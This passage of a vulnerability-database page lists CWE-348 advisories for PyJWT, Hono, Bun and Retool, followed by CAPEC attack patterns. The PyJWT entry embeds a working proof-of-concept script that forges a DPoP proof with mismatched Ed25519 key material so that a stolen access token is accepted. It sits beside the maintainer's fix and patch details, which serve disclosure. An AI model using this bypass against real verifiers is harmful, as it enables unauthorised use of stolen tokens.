ValueError(\"DPoP header JWK contains private material\")\n    if jwk_thumbprint(jwk) != access_claims[\"cnf\"][\"jkt\"]:\n        raise ValueError(\"DPoP key does not match cnf.jkt\")\n\n    key = jwt.PyJWK.from_dict(jwk)\n    proof_claims = jwt.decode(\n        proof,\n        key,\n        algorithms=[\"EdDSA\"],\n        options={\"require\": [\"htm\", \"htu\", \"iat\", \"jti\", \"ath\"]},\n    )\n    if proof_claims[\"htm\"] != HTTP_METHOD or proof_claims[\"htu\"] != HTTP_URI:\n        raise ValueError(\"DPoP request binding mismatch\")\n    if proof_claims[\"ath\"] != access_token_hash(access_token):\n        raise ValueError(\"DPoP access-token hash mismatch\")\n    return access_claims\n\n\ndef main() -\u003e None:\n    legitimate_holder = Ed25519PrivateKey.generate()\n    attacker = Ed25519PrivateKey.generate()\n    legitimate_x = public_x(legitimate_holder)\n    attacker_x = public_x(attacker)\n\n    legitimate_public_jwk = {\n        \"alg\": \"EdDSA\",\n        \"crv\": \"Ed25519\",\n        \"kty\": \"OKP\",\n        \"x\": legitimate_x,\n    }\n    mismatched_proof_jwk = {\n        **legitimate_public_jwk,\n        \"d\": private_d(attacker),\n    }\n    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)\n\n    now = int(time.time())\n    access_token = jwt.encode(\n        {\n            \"aud\": \"resource-api\",\n            \"cnf\": {\"jkt\": pinned_jkt},\n            \"exp\": now + 300,\n            \"iat\": now,\n            \"iss\": \"https://authorization.example\",\n            \"scope\": \"admin:read\",\n            \"sub\": \"legitimate-holder\",\n        },\n        ACCESS_TOKEN_SECRET,\n        algorithm=\"HS256\",\n    )\n    proof_claims = {\n        \"ath\": access_token_hash(access_token),\n        \"htm\": HTTP_METHOD,\n        \"htu\": HTTP_URI,\n        \"iat\": now,\n        \"jti\": \"synthetic-attacker-proof\",\n    }\n    attacker_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": mismatched_proof_jwk, \"typ\": \"dpop+jwt\"},\n    )\n\n    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key\n    imported_x = b64url(\n        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)\n    )\n    accepted_claims = verify_resource_request(access_token, attacker_proof)\n\n    public_only_rejected = False\n    public_only_error = None\n    public_only_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": legitimate_public_jwk, \"typ\": \"dpop+jwt\"},\n    )\n    try:\n        verify_resource_request(access_token, public_only_proof)\n    except Exception as error:\n        public_only_rejected = True\n        public_only_error = type(error).__name__\n\n    private_member_control_rejected = False\n    private_member_control_error = None\n    try:\n        verify_resource_request(\n            access_token,\n            attacker_proof,\n            reject_private_header_jwk=True,\n        )\n    except Exception as error:\n        private_member_control_rejected = True\n        private_member_control_error = type(error).__name__\n\n    result = {\n        \"environment\": {\n            \"PyJWT\": jwt.__version__,\n            \"PyJWT_source\": str(jwt.__file__),\n            \"Python\": platform.python_version(),\n            \"cryptography\": version(\"cryptography\"),\n            \"source_ref\": os.environ.get(\"PYJWT_SOURCE_REF\", \"installed-release\"),\n        },\n        \"dpop_binding\": {\n            \"access_token_subject\": accepted_claims[\"sub\"],\n            \"access_token_scope\": accepted_claims[\"scope\"],\n            \"pinned_jkt\": pinned_jkt,\n            \"proof_jkt\": jwk_thumbprint(mismatched_proof_jwk),\n            \"thumbprint_matches\": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,\n        },\n        \"imported_key\": {\n            \"declared_x\": legitimate_x,\n            \"attacker_x\": attacker_x,\n            \"actual_imported_x\": imported_x,\n            \"actual_key_is_attacker_key\": imported_x == attacker_x,\n            \"actual_key_matches_declared_x\": imported_x == legitimate_x,\n        },\n        \"vulnerable_composition\": {\n            \"stolen_sender_constrained_token_accepted\": accepted_claims[\"sub\"]\n            == \"legitimate-holder\",\n            \"attacker_has_legitimate_private_key\": False,\n        },\n        \"controls\": {\n            \"public_only_jwk_rejected\": public_only_rejected,\n            \"public_only_error\": public_only_error,\n            \"reject_private_header_jwk_blocks_attack\": private_member_control_rejected,\n            \"private_member_control_error\": private_member_control_error,\n        },\n    }\n\n    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt\n    assert imported_x == attacker_x\n    assert imported_x != legitimate_x\n    assert accepted_claims[\"sub\"] == \"legitimate-holder\"\n    assert public_only_rejected and public_only_error == \"InvalidSignatureError\"\n    assert private_member_control_rejected and private_member_control_error == \"ValueError\"\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n```text\n06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py\n```\n\nA public example of the affected composition exists in StrongDM\u0027s `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`.\n\n### Impact\n\nThe PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.\n\nIn a DPoP verifier that:\n\n* calculates `cnf.jkt` / JWK thumbprints from the declared `x`,\n* passes the same JWK to PyJWT for signature verification, and\n* does not reject private JWK parameters,\n\nan attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder\u0027s private key.\n\nRFC 9449 \u00a74.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack.\n\n### Maintainer assessment (2026-09-12)\n\nWe independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities.\n\nExact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`\u003e= 2.1.0, \u003c= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.\n\nThe fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit.\n\nThe reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT\u0027s security-policy scope; it is not used to characterize the PyJWT-owned impact.\n\nThe fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.\n---\n\n### Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `\u003e= 2.1.0, \u003c= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update.\n\nThe PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory\u0027s classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.",
  "id": "GHSA-x33g-cr3x-6449",
  "modified": "2026-10-05T23:44:03Z",
  "published": "2026-10-05T23:44:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-102275"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jpadilla/pyjwt"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jpadilla/pyjwt/releases/tag/2.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion"
}

GHSA-XGM2-5F3F-MVVC

Vulnerability from github – Published: 2026-07-21 18:18 – Updated: 2026-07-21 18:18
VLAI
Summary
Hono: API Gateway v1 adapter can drop a distinct repeated request header value during de-duplication
Details

Summary

The AWS API Gateway v1 adapter can drop a distinct repeated request header value. When a header appears multiple times, the adapter de-duplicates values using a substring comparison instead of an exact match, so a value that is a substring of another value of the same header is omitted (for example, 203.0.113.1 is dropped when another value is 203.0.113.10).

Details

A repeated request header carries an ordered list of values. Middleware or application logic that depends on the complete list — such as IP restriction that walks the X-Forwarded-For chain, rate limiting, audit logging, or proxy-chain validation — can therefore receive incomplete data that differs from what the client actually sent.

This issue arises on deployments using the AWS API Gateway v1 adapter (the same pattern also affects the VPC Lattice adapter), for requests that contain the same header more than once.

Impact

An attacker can craft repeated header values so that one value is omitted before the application sees the request. Where a security or routing decision relies on the full chain, this can alter that decision.

This affects applications deployed through Hono's AWS API Gateway v1 (or VPC Lattice) adapter that rely on the complete set of repeated request header values.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "hono"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.3.3"
            },
            {
              "fixed": "4.12.27"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-59897"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-21T18:18:13Z",
    "nvd_published_at": "2026-07-08T17:17:27Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe AWS API Gateway v1 adapter can drop a distinct repeated request header value. When a header appears multiple times, the adapter de-duplicates values using a substring comparison instead of an exact match, so a value that is a substring of another value of the same header is omitted (for example, `203.0.113.1` is dropped when another value is `203.0.113.10`).\n\n### Details\n\nA repeated request header carries an ordered list of values. Middleware or application logic that depends on the complete list \u2014 such as IP restriction that walks the `X-Forwarded-For` chain, rate limiting, audit logging, or proxy-chain validation \u2014 can therefore receive incomplete data that differs from what the client actually sent.\n\nThis issue arises on deployments using the AWS API Gateway v1 adapter (the same pattern also affects the VPC Lattice adapter), for requests that contain the same header more than once.\n\n### Impact\n\nAn attacker can craft repeated header values so that one value is omitted before the application sees the request. Where a security or routing decision relies on the full chain, this can alter that decision.\n\nThis affects applications deployed through Hono\u0027s AWS API Gateway v1 (or VPC Lattice) adapter that rely on the complete set of repeated request header values.",
  "id": "GHSA-xgm2-5f3f-mvvc",
  "modified": "2026-07-21T18:18:13Z",
  "published": "2026-07-21T18:18:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/security/advisories/GHSA-xgm2-5f3f-mvvc"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-59897"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/commit/aa921770d09bc35970362d5a2630a878f6d982fd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/honojs/hono"
    },
    {
      "type": "WEB",
      "url": "https://github.com/honojs/hono/releases/tag/v4.12.27"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Hono: API Gateway v1 adapter can drop a distinct repeated request header value during de-duplication"
}

GHSA-XP39-VP6Q-PHVJ

Vulnerability from github – Published: 2026-01-28 00:31 – Updated: 2026-01-28 00:31
VLAI
Details

In Bun before 1.3.5, the default trusted dependencies list (aka trust allow list) can be spoofed by a non-npm package in the case of a matching name (for file, link, git, or github).

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24910"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-27T23:15:50Z",
    "severity": "MODERATE"
  },
  "details": "In Bun before 1.3.5, the default trusted dependencies list (aka trust allow list) can be spoofed by a non-npm package in the case of a matching name (for file, link, git, or github).",
  "id": "GHSA-xp39-vp6q-phvj",
  "modified": "2026-01-28T00:31:42Z",
  "published": "2026-01-28T00:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24910"
    },
    {
      "type": "WEB",
      "url": "https://bun.com/blog/bun-v1.3.5"
    },
    {
      "type": "WEB",
      "url": "https://www.koi.ai/blog/packagegate-6-zero-days-in-js-package-managers-but-npm-wont-act"
    },
    {
      "type": "WEB",
      "url": "https://www.scworld.com/news/six-javascript-zero-day-bugs-lead-to-fears-of-supply-chain-attack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XW45-9VVW-6QG3

Vulnerability from github – Published: 2025-05-10 00:30 – Updated: 2025-05-10 00:30
VLAI
Details

Retool (self-hosted) before 3.196.0 allows Host header injection. When the BASE_DOMAIN environment variable is not set, the HTTP host header can be manipulated.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-47424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-348"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-05-09T23:15:51Z",
    "severity": "HIGH"
  },
  "details": "Retool (self-hosted) before 3.196.0 allows Host header injection. When the BASE_DOMAIN environment variable is not set, the HTTP host header can be manipulated.",
  "id": "GHSA-xw45-9vvw-6qg3",
  "modified": "2025-05-10T00:30:28Z",
  "published": "2025-05-10T00:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-47424"
    },
    {
      "type": "WEB",
      "url": "https://docs.retool.com/disclosures/cve-2025-47424"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-141: Cache Poisoning

An attacker exploits the functionality of cache technologies to cause specific data to be cached that aids the attackers' objectives. This describes any attack whereby an attacker places incorrect or harmful material in cache. The targeted cache can be an application's cache (e.g. a web browser cache) or a public cache (e.g. a DNS or ARP cache). Until the cache is refreshed, most applications or clients will treat the corrupted cache value as valid. This can lead to a wide range of exploits including redirecting web browsers towards sites that install malware and repeatedly incorrect calculations based on the incorrect value.

CAPEC-142: DNS Cache Poisoning

A domain name server translates a domain name (such as www.example.com) into an IP address that Internet hosts use to contact Internet resources. An adversary modifies a public DNS cache to cause certain names to resolve to incorrect addresses that the adversary specifies. The result is that client applications that rely upon the targeted cache for domain name resolution will be directed not to the actual address of the specified domain name but to some other address. Adversaries can use this to herd clients to sites that install malware on the victim's computer or to masquerade as part of a Pharming attack.

CAPEC-73: User-Controlled Filename

An attack of this type involves an adversary inserting malicious characters (such as a XSS redirection) into a filename, directly or indirectly that is then used by the target software to generate HTML text or other potentially executable content. Many websites rely on user-generated content and dynamically build resources like files, filenames, and URL links directly from user supplied data. In this attack pattern, the attacker uploads code that can execute in the client browser and/or redirect the client browser to a site that the attacker owns. All XSS attack payload variants can be used to pass and exploit these vulnerabilities.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

CAPEC-85: AJAX Footprinting

This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.